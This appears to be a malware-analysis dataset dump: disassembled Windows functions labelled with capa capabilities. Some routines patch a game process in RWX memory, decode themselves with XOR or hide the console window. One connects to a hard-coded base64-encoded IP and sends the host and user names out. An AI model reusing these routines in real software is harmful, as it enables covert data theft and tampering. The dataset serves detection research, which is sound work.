joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10016c00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push edi
push eax
push 0x40
push 5
push 0x556b5e
call esi
mov byte [0x556b5e], 0xe9
mov eax, 0x10016b80
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add eax, 0xffaa949d
mov dword [0x556b5f], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push 5
push 0x556b5e
call esi
lea eax, [ebp - 0xc]
push eax
push 0x40
push 2
push 0x556b63
call esi
mov eax, 0x556b63
mov edi, 0x90909090
mov word [eax], di
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push 2
push 0x556b63
call esi
call fcn.100169c0
test al, al
je 0x10016d16
lea eax, [ebp - 0xc]
push eax
push 0x40
push 0xb
push 0x42fc2c
call esi
mov eax, 0x42fc2c
mov ecx, edi
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov word [eax + 8], cx
mov byte [eax + 0xa], cl
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push 0xb
push 0x42fc2c
call esi
lea eax, [ebp - 0xc]
push eax
push 0x40
push 5
push 0x42fc83
call esi
mov byte [0x42fc83], 0xe9
mov eax, 0x10016bc0
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add eax, 0xffbd0378
mov dword [0x42fc84], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push 5
push 0x42fc83
call esi
lea eax, [ebp - 0xc]
push eax
push 0x40
push 1
push 0x42fc88
call esi
mov eax, 0x42fc88
mov byte [eax], 0x90
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push 1
push 0x42fc88
call esi
call fcn.10016aa0
mov ecx, dword [0x10072468]
test al, al
lea eax, [ebp - 0xc]
mov edx, 1
push eax
push 0x40
push 5
cmovne ecx, edx
push 0x420b7d
mov dword [0x10072468], ecx
call esi
mov byte [0x420b7d], 0xe9
mov eax, 0x10016990
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add eax, 0xffbdf47e
mov dword [0x420b7e], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push 5
push 0x420b7d
call esi
lea eax, [ebp - 0xc]
push eax
push 0x40
push 2
push 0x420b82
call esi
mov eax, 0x420b82
mov word [eax], di
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push 2
push 0x420b82
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10017860
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x1004e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x104
lea eax, [ebp - 0x108]
xor bl, bl
push 0
push eax
call main
add esp, 0xc
mov dword [ebp - 0x110], 0x104
lea eax, [ebp - 0x10c]
push eax
push 0x20019
push 0
push str.SOFTWAREVooblyVooblygame13_v1.6_RC
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001792e
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x114]
push eax
push 0
push str.Shift_Click
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, str.true
lea eax, [ebp - 0x108]
nop dword [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10017910
test dl, dl
je 0x1001790c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10017910
add eax, 2
add ecx, 2
test dl, dl
jne 0x100178f0
xor eax, eax
jmp 0x10017915
sbb eax, eax
or eax, 1
push dword [ebp - 0x10c]
test eax, eax
movzx ebx, bl
mov ecx, 1
cmove ebx, ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.1001ceea
mov esp, ebp
pop ebp
ret
Function at 0x10018be0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push 5
push 0x4b3ca5
call esi
mov byte [0x4b3ca5], 0xe9
mov eax, 0x10018b10
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add eax, 0xffb4c356
mov dword [0x4b3ca6], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push 5
push 0x4b3ca5
call esi
lea eax, [ebp - 0xc]
push eax
push 0x40
push 2
push 0x4b3caa
call esi
mov eax, 0x4b3caa
mov ecx, 0x90909090
mov word [eax], cx
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push 2
push 0x4b3caa
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1001a090
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003b593
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x1004e00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 8], 0xffffffff
mov dword [esi + 4], 0xffffffff
mov dword [esi + 0xc], 0
mov dword [esi + 0x20], 0x10083ebc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [ebp - 4], 0
lea ecx, [esi + 0x34]
mov dword [esi], vtable.TiXmlDocument.0
mov dword [ecx], 0x10083ebc
mov byte [ebp - 4], 1
mov dword [esi + 0x40], 0xffffffff
mov dword [esi + 0x3c], 0xffffffff
push 0
push 0x10047f50
mov dword [esi + 0x38], 4
mov byte [esi + 0x44], 0
mov byte [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.10018d80
mov dword [esi + 0x40], 0
mov eax, esi
mov dword [esi + 0x3c], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001a370
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
push edi
test ebx, ebx
jne 0x1001a3ca
cmp byte [esi + 0x2c], bl
jne 0x1001a3c1
mov edx, dword [str.Failed_to_open_file]
mov ecx, edx
mov byte [esi + 0x2c], 1
mov dword [esi + 0x30], 2
lea edi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001a3a0
sub ecx, edi
push ecx
push edx
lea ecx, [esi + 0x34]
call fcn.10018d80
mov dword [esi + 0x40], 0xffffffff
mov dword [esi + 0x3c], 0xffffffff
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret 8
mov edi, dword [esi + 0x18]
test edi, edi
je 0x1001a3e0
mov ecx, edi
mov edi, dword [edi + 0x28]
push 1
mov eax, dword [ecx]
call dword [eax]
test edi, edi
jne 0x1001a3d1
push 2
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
push 0
push ebx
mov dword [esi + 8], 0xffffffff
mov dword [esi + 4], 0xffffffff
call fcn.10024b18
push ebx
call fcn.10025fa7
push 0
mov edi, eax
push 0
push ebx
mov dword [ebp + 8], edi
call fcn.10024b18
add esp, 0x1c
test edi, edi
jg 0x1001a44c
cmp byte [esi + 0x2c], 0
jne 0x1001a3c1
mov edx, dword [str.Error_document_empty.]
mov ecx, edx
mov byte [esi + 0x2c], 1
mov dword [esi + 0x30], 0xc
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001a440
jmp 0x1001a3a7
lea eax, [edi + 1]
push eax
call fcn.1001cefb
push ebx
mov ebx, dword [ebp + 8]
mov edi, eax
push 1
push ebx
push edi
mov byte [edi], 0
call fcn.10028b0b
add esp, 0x14
cmp eax, 1
je 0x1001a4a4
push edi
call fcn.1001cf2e
add esp, 4
cmp byte [esi + 0x2c], 0
jne 0x1001a3c1
mov edx, dword [str.Failed_to_open_file]
mov ecx, edx
mov byte [esi + 0x2c], 1
mov dword [esi + 0x30], 2
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001a498
jmp 0x1001a3a7
mov byte [edi + ebx], 0
mov eax, edi
cmp byte [edi], 0
mov ecx, edi
je 0x1001a4cf
mov dl, byte [eax]
mov ebx, eax
cmp dl, 0xd
jne 0x1001a4c6
inc eax
mov byte [ecx], 0xa
cmp byte [eax], 0xa
cmovne eax, ebx
jmp 0x1001a4c8
mov byte [ecx], dl
inc eax
inc ecx
cmp byte [eax], 0
jne 0x1001a4b1
mov byte [ecx], 0
mov ecx, esi
mov eax, dword [esi]
push 0
push 0
push edi
call dword [eax + 8]
push edi
call fcn.1001cf2e
add esp, 4
cmp byte [esi + 0x2c], 0
sete al
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x1002d0dc
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1002cf5b

Function at 0xef6c8c
Capabilities:
Encode data using xor

Disassembly:
jmp 0xef6c96
pushal
call 0xef6c9c
pop ebp
sub ebp, 0x10
sub ebp, 0xaf6c8c
jmp 0xef6cb2
mov eax, 0xaf6c8c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b4
mov edx, 0xab759ea9
xor byte [eax], dl
inc eax
dec ecx
jne 0xef6cc9
jmp 0xef6cdc
and ah, byte [edx + 0x20]
xchg ebp, eax
test eax, 0x6828a9a9
push ecx
test eax, 0x64aaa9a9
adc dword [edi + 0x13a9a9a9], ebp
sub dword [ecx + 0x4b5ea9a9], 0x282261aa
movsd dword es:[edi], dword [esi]
test eax, 0x6caaa9a9
and al, 0xcd
lea edx, [ebp + 0x20]
lodsd eax, dword [esi]
invalid
Function at 0x401af0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40a044
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x40a03c]
sub esp, 4
test ebx, ebx
je 0x401b3b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x401b34
test esi, esi
je 0x401b34
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401b10
mov dword [esp], 0x40a044
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401d20
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x401d70
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x401e48
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401dae
cmp eax, 4
jne 0x401dd0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401dbe
cmp edx, 4
je 0x401dbe
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401d20
Function at 0x403c98
Capabilities:
Hide graphical window

Disassembly:
sub esp, 0x1c
call sub.KERNEL32.dll_AllocConsole
mov dword [esp + 4], 0
mov dword [esp], str.ConsoleWindowClass
call sub.USER32.dll_FindWindowA
push edx
push edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
push ecx
push ecx
call sub.KERNEL32.dll_GetConsoleWindow
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
push eax
push eax
call sub.KERNEL32.dll_GetConsoleWindow
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
push eax
push eax
add esp, 0x1c
ret

Function at 0x403e3c
Capabilities:
Encode data using base64

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov esi, dword [esp + 0x40]
mov ebx, dword [esp + 0x44]
test esi, esi
je 0x403f20
test ebx, ebx
sete byte [esp + 0x1c]
je 0x403f20
mov dword [esp], ebx
call fcn.00403f34
lea ebp, [eax + 1]
mov dword [esp], ebp
call sub.msvcrt.dll_malloc
mov dword [esp + 0x18], eax
mov edi, eax
mov al, byte [esp + 0x1c]
mov ecx, ebp
rep stosb byte es:[edi], al
mov edi, dword [esp + 0x18]
mov eax, 1
lea ecx, [eax - 1]
cmp ebx, ecx
jbe 0x403f28
movzx ecx, byte [esi + eax - 1]
mov ebp, ecx
shl ebp, 8
cmp ebx, eax
jbe 0x403eab
mov ecx, ebp
movzx ebp, byte [esi + eax]
or ebp, ecx
lea edx, [eax + 1]
mov ecx, ebp
shl ecx, 8
cmp ebx, edx
mov dword [esp + 0x1c], edx
jbe 0x403ec4
mov ebp, ecx
movzx ecx, byte [esi + eax + 1]
or ecx, ebp
mov ebp, ecx
shr ebp, 0x12
mov dl, byte [ebp + 0x407240]
mov ebp, ecx
shr ebp, 0xc
and ebp, 0x3f
cmp ebx, eax
mov byte [edi], dl
mov dl, byte [ebp + 0x407240]
mov byte [edi + 1], dl
jbe 0x403ef9
mov ebp, ecx
shr ebp, 6
and ebp, 0x3f
mov dl, byte [ebp + 0x407240]
mov byte [edi + 2], dl
jmp 0x403efd
mov byte [edi + 2], 0x3d
cmp ebx, dword [esp + 0x1c]
jbe 0x403f11
and ecx, 0x3f
mov cl, byte [ecx + 0x407240]
mov byte [edi + 3], cl
jmp 0x403f15
mov byte [edi + 3], 0x3d
add edi, 4
add eax, 3
jmp 0x403e8a
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x18]
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4047a8
Capabilities:
Get hostname
Get session user name
Send data
Send data on socket

Disassembly:
push ebp
mov eax, 0x220
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov dword [ebp - 0x34], 0x10
mov word [ebp - 0x36], 0x40
mov dword [ebp - 0x30], 0x201
call fcn.00402030
mov esi, 1
sub esp, eax
lea edi, [ebp - 0x28]
lea eax, [ebp - 0x34]
lea ebx, [esp + 0x10]
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.KERNEL32.dll_GetComputerNameA
test eax, eax
push ecx
push ecx
je 0x404891
lea eax, [ebp - 0x30]
mov dword [esp], ebx
xor esi, esi
mov dword [esp + 4], eax
call sub.ADVAPI32.DLL_GetUserNameA
test eax, eax
push edx
push edx
je 0x404891
lea eax, [ebp - 0x36]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 4], edi
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov dword [esp], ebx
lea ebx, [ebp - 0x2c]
call fcn.004049bc
mov edx, eax
mov dword [ebp - 0x2c], eax
or ecx, 0xffffffff
xor eax, eax
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], 0
not ecx
mov dword [esp + 4], edx
dec ecx
mov dword [esp + 8], ecx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
inc eax
jne 0x404889
mov eax, dword [ebp + 8]
mov esi, 1
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
push eax
call sub.WS2_32.dll_WSACleanup
mov dword [esp], ebx
call fcn.004050c4
jmp 0x404891
mov dword [esp], ebx
call fcn.004050c4
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4049e4
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Set socket configuration

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1ec
lea eax, [esp + 0x50]
mov dword [esp], 0x202
mov ebx, dword [esp + 0x200]
mov dword [esp + 4], eax
call sub.WS2_32.dll_WSAStartup
push esi
push esi
test eax, eax
mov dword [esp + 0x2c], 1
jne 0x404b0c
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov ebp, eax
mov dword [esp], 2
call sub.WS2_32.dll_socket
sub esp, 0xc
mov dword [ebx], eax
inc eax
je 0x404ab9
lea esi, [esp + 0x40]
mov eax, ebp
mov ecx, 4
mov edi, esi
rep stosd dword es:[edi], eax
mov dword [esp], 0x1bb
mov word [esp + 0x40], 2
call sub.WS2_32.dll_htons
push edx
mov dword [esp], str.MTk0LjE0LjIwOC4xMjU
mov word [esp + 0x42], ax
call fcn.00405228
mov dword [esp], eax
mov dword [esp + 0x38], eax
call sub.WS2_32.dll_inet_addr
push ecx
mov dword [esp + 0x44], eax
lea eax, [esp + 0x38]
mov dword [esp], eax
call fcn.004050c4
mov dword [esp + 8], 0x10
mov dword [esp + 4], esi
mov eax, dword [ebx]
mov dword [esp], eax
call sub.WS2_32.dll_connect
sub esp, 0xc
inc eax
mov eax, dword [ebx]
jne 0x404ac3
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
push eax
mov dword [esp], ebx
call fcn.00404b90
jmp 0x404b0c
lea edx, [esp + 0x3c]
mov dword [esp + 0x10], 4
mov dword [esp + 8], 1
mov dword [esp + 4], 6
mov dword [esp], eax
mov dword [esp + 0xc], edx
mov dword [esp + 0x3c], 1
call sub.WS2_32.dll_setsockopt
mov eax, dword [ebx]
sub esp, 0x14
mov dword [esp], eax
call fcn.004047a8
test eax, eax
setne al
movzx eax, al
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
add esp, 0x1ec
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x404b1c
Capabilities:
Check mutex on windows

Disassembly:
push edi
push esi
mov ecx, 3
push ebx
mov esi, str.ins456Krist
sub esp, 0x20
lea edi, [esp + 0x14]
lea eax, [esp + 0x14]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], 0
call sub.KERNEL32.dll_CreateMutexA
sub esp, 0xc
mov ebx, eax
call sub.KERNEL32.dll_GetLastError
test ebx, ebx
sete cl
cmp eax, 0xb7
sete dl
or cl, dl
jne 0x404b70
xor edx, edx
cmp eax, 6
jne 0x404b87
mov dword [esp], ebx
call sub.KERNEL32.dll_ReleaseMutex
push eax
mov dword [esp], ebx
call sub.KERNEL32.dll_CloseHandle
push edx
mov edx, 1
add esp, 0x20
mov eax, edx
pop ebx
pop esi
pop edi
ret
Function at 0x405284
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
push edi
push esi
push ebx
or esi, 0xffffffff
xor ebx, ebx
mov ecx, esi
sub esp, 0x3c
mov al, bl
mov edi, dword [esp + 0x54]
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x58]
mov edx, ecx
mov ecx, esi
not edx
repne scasb al, byte es:[edi]
not ecx
lea ecx, [edx + ecx - 1]
mov dword [esp], ecx
mov dword [esp + 0x1c], ecx
call sub.msvcrt.dll_malloc
mov ecx, dword [esp + 0x1c]
mov ebp, eax
mov dword [esp + 0x28], eax
mov edi, eax
mov al, bl
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x54]
mov dword [esp], ebp
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcat
mov eax, dword [esp + 0x58]
mov dword [esp], ebp
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcat
mov dword [esp], ebp
call fcn.004049bc
mov ecx, esi
mov edx, eax
mov dword [esp + 0x2c], eax
mov edi, eax
mov al, bl
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x50]
mov dword [esp + 4], edx
mov esi, ecx
mov dword [esp + 0xc], 0
not esi
dec esi
mov dword [esp], eax
mov dword [esp + 8], esi
call sub.WS2_32.dll_send
sub esp, 0x10
inc eax
mov edx, 1
je 0x405344
lea eax, [esp + 0x2c]
mov dword [esp], eax
call fcn.004050c4
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.004050c4
xor edx, edx
add esp, 0x3c
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4015f0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4183e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x13c
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x10], esp
xor ebx, ebx
push 0x423f20
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], ebx
call fcn.00413688
push 0x423f20
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], ebx
call fcn.00413688
push 0x423f20
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.00413688
push 0x423f20
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call fcn.00413688
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x148]
mov byte [ebp - 4], 4
rep stosd dword es:[edi], eax
lea eax, [esi + 0x10c]
lea ecx, [ebp - 0x18]
push eax
push 0x41f268
push ecx
call fcn.00412be6
add esp, 0xc
lea ecx, [ebp - 0x18]
call fcn.0041391a
lea ecx, [ebp - 0x44]
call fcn.00406d26
mov edx, dword [ebp + 8]
push str.AutoRun.Inf
push edx
lea eax, [ebp - 0x1c]
push str._s_s
push eax
mov byte [ebp - 4], 5
call fcn.00412be6
mov ecx, dword [ebp - 0x1c]
add esp, 0x10
push ebx
push ecx
lea ecx, [ebp - 0x44]
call fcn.00406de9
cmp eax, ebx
jne 0x40172e
mov edx, dword [esi + 0x108]
push str.Is_not_exist_Autorun.inf_file_r_n
push edx
call fcn.00401990
add esp, 8
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 4
call fcn.00406d63
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call fcn.0041361a
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.0041361a
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], bl
call fcn.0041361a
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 0xffffffff
call fcn.0041361a
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
xor esi, esi
cmp esi, 0x14
jge 0x4017f2
push 0x423f20
lea ecx, [ebp - 0x20]
call fcn.00413757
push 0x423f20
lea ecx, [ebp - 0x14]
call fcn.00413757
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x148]
push esi
rep stosd dword es:[edi], eax
push str.DRIVER_NAME
lea eax, [ebp - 0x20]
push str._s__d
push eax
call fcn.00412be6
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
add esp, 0x10
lea edx, [ebp - 0x148]
push ecx
push 0x104
push edx
push 0x423f20
push eax
push str.INFOMATION
call ebx
lea ecx, [ebp - 0x148]
lea edx, [ebp - 0x14]
push ecx
push 0x41f268
push edx
call fcn.00412be6
add esp, 0xc
lea ecx, [ebp - 0x14]
call fcn.0041391a
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax - 8]
test ecx, ecx
jle 0x4017f2
mov ecx, dword [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x14]
call fcn.00412860
test eax, eax
jne 0x4017ec
lea ecx, [ebp - 0x44]
mov esi, 1
mov byte [ebp - 4], 4
call fcn.00406d63
jmp 0x40182a
inc esi
jmp 0x401736
mov esi, dword [ebp - 0x24]
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 4
call fcn.00406d63
jmp 0x40182a
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], 2
call fcn.0041361a
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.0041361a
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0
call fcn.0041361a
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 0xffffffff
call fcn.0041361a
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x403fd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x403ff7
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.00403d09
xchg esp, eax
adc eax, 0x458d1ed4
rcl byte [eax - 0x18], 0xc5
cld
invalid
Function at 0x401adf
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401b1e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401b1e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401b1e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401b1e
cmp dword [ecx + 0x74], 0xe
jbe 0x401b1e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret